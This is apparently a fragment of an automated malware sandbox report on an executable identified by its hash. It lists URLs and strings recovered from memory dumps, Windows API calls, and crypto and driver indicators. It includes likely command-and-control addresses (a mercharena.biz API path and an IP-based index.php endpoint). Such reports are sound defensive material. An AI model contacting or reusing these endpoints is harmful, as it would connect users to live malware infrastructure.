"https://www.globalsign.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "http://www.usertrust.com1" Pattern match: "https://secure.comodo.com/cps0" Pattern match: "crl.comodoca.com/utn-userfirst-hardware.crl06" Pattern match: "crl.comodo.net/utn-userfirst-hardware.crl0q" Pattern match: "http://crt.comodoca.com/utnaddtrustserverca.crt0$" Pattern match: "http://ocsp.comodoca.com05" Heuristic match: "addons.mozilla.org" Pattern match: "www.addons.mozilla.org0" Pattern match: "www.google.com0" Pattern match: "http://ocsp.comodoca.com0%" Pattern match: "www.google.com" Pattern match: "http://www.public-trust.com/cps/omniroot.html0" Pattern match: "www.public-trust.com/cgi-bin/crl/2018/cdp.crl0" Pattern match: "2www.entrust.net/cps" Pattern match: "http://ocsp.entrust.net03" Pattern match: "http://crl.entrust.net/server1.crl0" Pattern match: "http://www.diginotar.nl/cps/pkioverheid0" Pattern match: "http://crl.pkioverheid.nl/domovlatestcrl.crl0" Pattern match: "http://ocsp.comodoca.com0/" Heuristic match: "login.skype.com" Pattern match: "www.login.skype.com0" Pattern match: "http://cybertrust.omniroot.com/repository.cfm0" Pattern match: "crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0" Pattern match: "www.verisign.com/repository/cps" Pattern match: "https://www.verisign.com/repository/cps" Pattern match: "https://www.verisign.com" Pattern match: "www.verisign.com/repository/verisignlogo.gif0d" Pattern match: "https://www.verisign.com/rpa0" Heuristic match: "login.yahoo.com" Pattern match: "www.login.yahoo.com0" Heuristic match: "mail.google.com" Pattern match: "www.mail.google.com0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://ocsp.entrust.net0d" Pattern match: "http://www.digicert.com.my/cps.htm02" Pattern match: "http://crl.entrust.net/2048ca.crl0" Pattern match: "http://ocsp.comodoca.com0-" Heuristic match: "login.live.com" Pattern match: "www.login.live.com0" Heuristic match: "f.com" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "www.digicert.com1+0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "crl.usertrust.com/utn-userfirst-object.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://www.usertr" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com0" Heuristic match: "*.mercharena.biz" Heuristic match: "host: mercharena.biz" Pattern match: "https://www.cloudflare.com/5xx-error-landing" Heuristic match: "arena.biz" Heuristic match: "rcharena.biz" Heuristic match: "stin b&&(b.classlist.re" Heuristic match: "internals.com"42:T6e5f,Found URL "https://mercharena.biz/api935/mercharena.bizmercharena.bizercharena.bizshiningrstars.helpross-certificate" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "https://mercharena.biz/api@@4uhftn1%qs[\tn,%dnsrtr.%/537.36post1.2.840.113549.1.9.16.1.1essreceiptrequestdecodeex1.2.840.113549.1.9.16.2.11.2.840.113549.1.9.16.2.11esskeyexchpreferencedecodeex1.2.840.113549.1.9.16.2.12esssigncertificatedecodeex1.2.840.113549.1.9.16.2.2esssecuritylabeldecodeex1.2.840.113549.1.9.16.2.31.2.840.113549.1.9.16.2.41.2.840.10045.4.3.21.2.840.10045.2.11.3.6.1.5.5.7.1.11.2.840.10045.4.3.31.2.840.113549.1.1.11hreqaaaatnw%cmgruser-agentkeep-aliveconnectioncontent-typecontent-lengthuriouz_]mozilla/5.0" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://o.pki.goog/s/we1/yzq0%http://i.pki.goog/we1.crt0+mercharena.biz*.mercharena.biz0/0-0+%http://c.pki.goog/we1/t0vke8labr8.crl01c@w" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://i.pki.goog/r4.crt0+$0" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crl0@az&globalsign" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://i.pki.goog/gsr1.crt0-&0$0" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crl0@az&t^u%vj" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:t" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:t:r%\uf%n.+cgeotrust" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicertglobalrootca.crl071http://crl4.digicert.com/digicertglobalrootca.crl0=604020*0(https://www.digicert.com/cps0s6" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;g6" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0p1<92a@ef_wp" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/(" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9n" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5o" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'ek" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0ynsl>qq1nej-+\lu>gvpob\hzagxr" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?go" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnk't" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://www.usertr" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.use" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0nf:8" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found URL "https://mercharena.biz/api935/mercharena.bizmercharena.bizshiningrstars.helpross-certificate" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "https://mercharena.biz/apipmappera/sha1lobalsign" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "https://mercharena.biz/apitn1%qs[\tn,%dnsrus.%/537.361.2.840.113549.1.9.16.1.1essreceiptrequestdecodeex1.2.840.113549.1.9.16.2.11.2.840.113549.1.9.16.2.11esskeyexchpreferencedecodeex1.2.840.113549.1.9.16.2.12esssigncertificatedecodeex1.2.840.113549.1.9.16.2.2esssecuritylabeldecodeex1.2.840.113549.1.9.16.2.31.2.840.113549.1.9.16.2.41.2.840.10045.4.3.21.2.840.10045.2.11.3.6.1.5.5.7.1.11.2.840.10045.4.3.31.2.840.113549.1.1.11hreqaaaauow%wa/tcmgrer-agentep-alivennectionntent-typentent-lengthuriouz_]urio5.0" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "https://www.cloudflare.com/5xx-error-landing" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "https://www.cloudflare.com/learning/access-management/phishing-attack/" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://o.pki.goog/s/we1/yzq0%http://i.pki.goog/we1.crt0+mercharena.biz*.mercharena.biz0/0-0+%http://c.pki.goog/we1/t0vke8labr8.crl01c@w" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://i.pki.goog/r4.crt0+$0" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crl0@az&globalsign" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://i.pki.goog/gsr1.crt0-&0$0" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crl0@az&t^u%vj" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:\vu%assm2.5.29.15%2.5.29.372.5.29.192.5.29.14" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:t:r%\uf%n.+cgeotrust" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicertglobalrootca.crl071http://crl4.digicert.com/digicertglobalrootca.crl0=604020*0(https://www.digicert.com/cps0s6" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;g6" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0p1<92a@ef_wp" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/(" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9n" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5o" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'ek" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0ynsl>qq1nej-+\lu>gvpob\hzagxr" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?go" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnk't" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0nf:8" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found URL "http://185.215.113.43/zu7junko/index.phpnt.ie5\dntexceptiondntexception:c:\users\hapubws\appdata\roaming\microsoft\windows\dntexception\domstoredomstorec:\users\hapubws\appdata\local\microsoft\internet" - Source: "00000000-00002756.00000001.266081.00700000.00000004.mdmp") Found URL "http://185.215.113.43/zu7junko/index.phpncodedcontent-type:" - Source: "00000000-00002756.00000001.266081.00785000.00000004.mdmp") Found URL "http://185.215.113.43/zu7junko/index.phpnt.ie5\dntexceptiondntexception:c:\users\hapubws\appdata\roaming\microsoft\windows\dntexception\domstoredomstorec:\users\hapubws\appdata\local\microsoft\internet" - Source: "00000000-00002756.00000002.268004.00700000.00000004.mdmp")43:T42a,"ffa05200d7a741017eb476eef981b041.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "486607461" "cx": "416" "cy": "30"} "ffa05200d7a741017eb476eef981b041.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "1627458353" "cx": "16" "cy": "16"} "ffa05200d7a741017eb476eef981b041.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "738265542" "cx": "416" "cy": "30"} "ffa05200d7a741017eb476eef981b041.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "620823033" "cx": "1" "cy": "1"} "ffa05200d7a741017eb476eef981b041.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "536938275" "cx": "1" "cy": "1"} "ffa05200d7a741017eb476eef981b041.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "738265542" "cx": "355" "cy": "15"} "ffa05200d7a741017eb476eef981b041.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "1627458353" "cx": "416" "cy": "30"} "ffa05200d7a741017eb476eef981b041.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "738265542" "cx": "400" "cy": "163"}44:Tb5f,"ffa05200d7a741017eb476eef981b041.exe" called "FindFirstFileW" with parameter %WINDIR%\System32\*.* (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter 0409 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter 12520437.cpx (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter 12520850.cpx (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter accessibilitycpl.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter ACCTRES.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter acledit.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter aclui.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter acppage.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter ActionCenter.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter ActionCenterCPL.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter activeds.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter activeds.tlb (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter actxprxy.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter AdapterTroubleshooter.exe (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter AdmTmpl.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter Adobe (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter adprovider.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter adsldp.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter adsldpc.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter adsmsext.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter adsnt.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter adtschema.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "FindNextFileW" with parameter AdvancedInstallers (UID: 00000000-00000560)45:T5c9,Found string "\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; File: "00000000-00000516.00000000.270346.00750000.00000004.mdmp") Found string "\REGISTRY\MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000516.00000000.270346.00750000.00000004.mdmp") Found string "\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000516.00000000.270346.00750000.00000004.mdmp") Found string "FTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000516.00000000.270346.00DE0000.00000004.mdmp, 00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found string "and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000516.00000001.270435.00750000.00000004.mdmp") Found string "ECDSA_P256" (Indicator: "ecdsa"; Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp") Found string "ECDSA_P384" (Indicator: "ecdsa"; Source: "00000000-00000516.00000001.270435.00DE0000.00000004.mdmp")46:T1d22,Found string "\SystemRoot\system32\drivers\WDFLDR.SYS" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\WDFLDR.SYS" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\ACPI.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\ACPI.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\WMILIB.SYS" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\WMILIB.SYS" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\msisadrv.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\msisadrv.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\pci.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\pci.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\vdrvroot.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string 